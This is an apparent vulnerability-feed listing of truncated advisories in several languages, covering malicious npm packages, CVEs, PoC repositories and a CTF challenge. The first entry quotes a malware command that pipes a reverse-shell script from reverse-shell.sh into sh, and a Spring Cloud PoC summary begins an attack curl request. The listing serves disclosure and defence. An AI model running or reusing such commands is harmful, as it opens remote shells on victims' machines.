Malicious code in internallib_v788 (npm)

--- -= Per source details. Do not edit below this line.=- Source: amazon-inspector 59624002e9650beef10d1f87f3f4125405d990d4b58fb8d2178f39b7ff6fb129 internallibv788 exports a command function in index.js line 5 that executes /bin/bash -c "curl https://reverse-shell.sh/10.0.75.246:443|sh", fetching...

CVE-2025-12758

CVE-2025-12758 : Contournement du sélecteur de variation Unicode de isLength de Validator.js ID CVE : CVE-2025-12758 Score CVSS : 8.7 ÉLEVÉ Sévérité : ÉLEVÉE CWE : CWE-792 Filtrage incomplet d'une ou plusieurs instances d'éléments spéciaux Publié : 26 novembre 2025 Divulgué : 19 octobre 2025 Aper...

Malicious code in function-color (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 551ba64ea86ca7d7839dcd058b2c567604c534134e2a6e13f84af340c2db4aac Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17647 Malicious code in function-color (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 551ba64ea86ca7d7839dcd058b2c567604c534134e2a6e13f84af340c2db4aac Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

MAL-2026-17648 Malicious code in function-flag (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 41710fdfae55850258c24f8be4df71e28d46d964cec0faa6def842369592ed2b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

Malicious code in function-flag (npm)

--- -= Per source details. Do not edit below this line.=- Source: ghsa-malware 41710fdfae55850258c24f8be4df71e28d46d964cec0faa6def842369592ed2b Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be...

CVE-2026-80821

A flaw was found in the Linux kernel's nvmet PCI Express Endpoint Function PCI-EPF component. A remote attacker can exploit this vulnerability by sending specially crafted Create IO Completion Queue CQ commands. This leads to a resource leak, as the system fails to properly release references to...

GHSA-9GVV-QJJ3-2P6G Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium

Flowise packages flowise and flowise-components in versions = 3.1.2 contain a sandbox escape in the vm2/@flowiseai/nodevm JavaScript sandbox. An authenticated user with access to the /api/v1/node-custom-function endpoint can escape the sandbox by supplying attacker-controlled executablePath and...

IAT-Hook

Хук - IAT Хукинг Хукинг — это техника, позволяющая перенаправить поток выполнения программы. Чаще всего мы используем хукинг функций. Мы либо заменяем, либо перенаправляем функцию на нашу собственную — это очень полезно и имеет множество применений. Существует несколько способов хукинга, здесь мы...

CVE-2025-55182

CVE-2025-55182 - RCE des composants serveur React NOTE : Écrit par IA/Claude https://github.com/ejpir/CVE-2025-55182-bypass TL;DR CVE-2025-55182 est une vulnérabilité RCE critique dans le protocole Flight de React. La chaîne d'attaque combine traversée de chemin + injection de faux chunk + abus...

CVE-2025-65018_Exploit_Challenge

Défi CTF CVE-2025-65018 : « PNG Panic » Ce défi est basé sur une vulnérabilité réelle de débordement de tampon dans libpng concernant plus précisément l'API simplifiée pngimagefinishread lors du traitement d'images entrelacées 16 bits. 🚩 Objectif du défi Vous disposez d'un binaire vulnérable vict...

patched-bash-4.3

patched-bash-4.3 patched-bash-4.3 pour CVE-2014-6271 Ceci est simplement bash 4.3, tiré du site web de GNU, et corrigé avec les correctifs disponibles le 26/09/2014, y compris les changements de fonctionnalité pkgsrc qui désactivent tout simplement l'absurde « exécution de fonctions dans les...

CVE-2023-34732

CVE-2023-34732 Abus de fonction authentifiée pour prise de contrôle de compte Description Un attaquant peut forcer brutalement le mot de passe de n'importe quel utilisateur y compris les administrateurs en utilisant le paramètre userId dans la fonctionnalité de changement de mot de passe et mettr...

D-Link - Remote Command Execution

A Remote Command Execution RCE vulnerability exists in all series H/W revisions D-link DIR-810L, DIR-820L/LW, DIR-826L, DIR-830L, and DIR-836L routers via the DDNS function in ncc2 binary file id: CVE-2021-45382 info: name: D-Link - Remote Command Execution author: king-alexander severity: critic...

PT-2026-107656

Name of the Vulnerable Software and Affected Versions Excelize versions 2.10.1 through 2.11.0 Description An issue exists in the formula evaluation process where the RIGHT function handles text length inconsistently. The software validates the requested length using UTF-16 code-unit counts via th...

PT-2026-107719

The LatePoint - Appointment Booking & Reservation plugin for WordPress is vulnerable to Insecure Direct Object Reference in versions up to, and including, 5.6.9. This is due to the process step customer function using is user logged in as the sole gate before merging POSTed customer data into an...

CVE-2024-21513

CVE-2024-21513 PoC pour CVE-2024-21513 Exploit original documenté par Snyk Security Research Exploit CVE-2024-21513 est une vulnérabilité dans langchain-experimental où des résultats de requêtes SQL non validés sont passés à eval de Python, permettant une exécution de code à distance via une...

CVE-2022-36752

Description de la CVE-2022-36752 png2webp v1.0.4 s'est avéré contenir une écriture hors limites via la fonction w2p. Cette vulnérabilité est exploitable via un fichier webp spécialement conçu lors de la reconversion du format vers png. Reproduction Pour reproduire la vulnérabilité, téléchargez la...

CVE-2022-22963-PoC

CVE-2022-22963 PoC RCE Exemple minimal pour reproduire l'exécution de code à distance de la CVE-2022-22963 dans org.springframework.cloud:spring-cloud-function-core. Exploitation Lancer le serveur mvn spring-boot:run Envoyer une requête curl -X POST -H 'spring.cloud.function.routing-expression:...

EUVD-2026-93792

TP-Link Tapo C500 v2.0 contains an out-of-bounds function-pointer dispatch in its TDP TP-Link Device Protocol daemon. A single unauthenticated UDP datagram can cause an invalid indirect call, crashing the main service and resulting in a denial-of-service condition. Successful exploitation may all...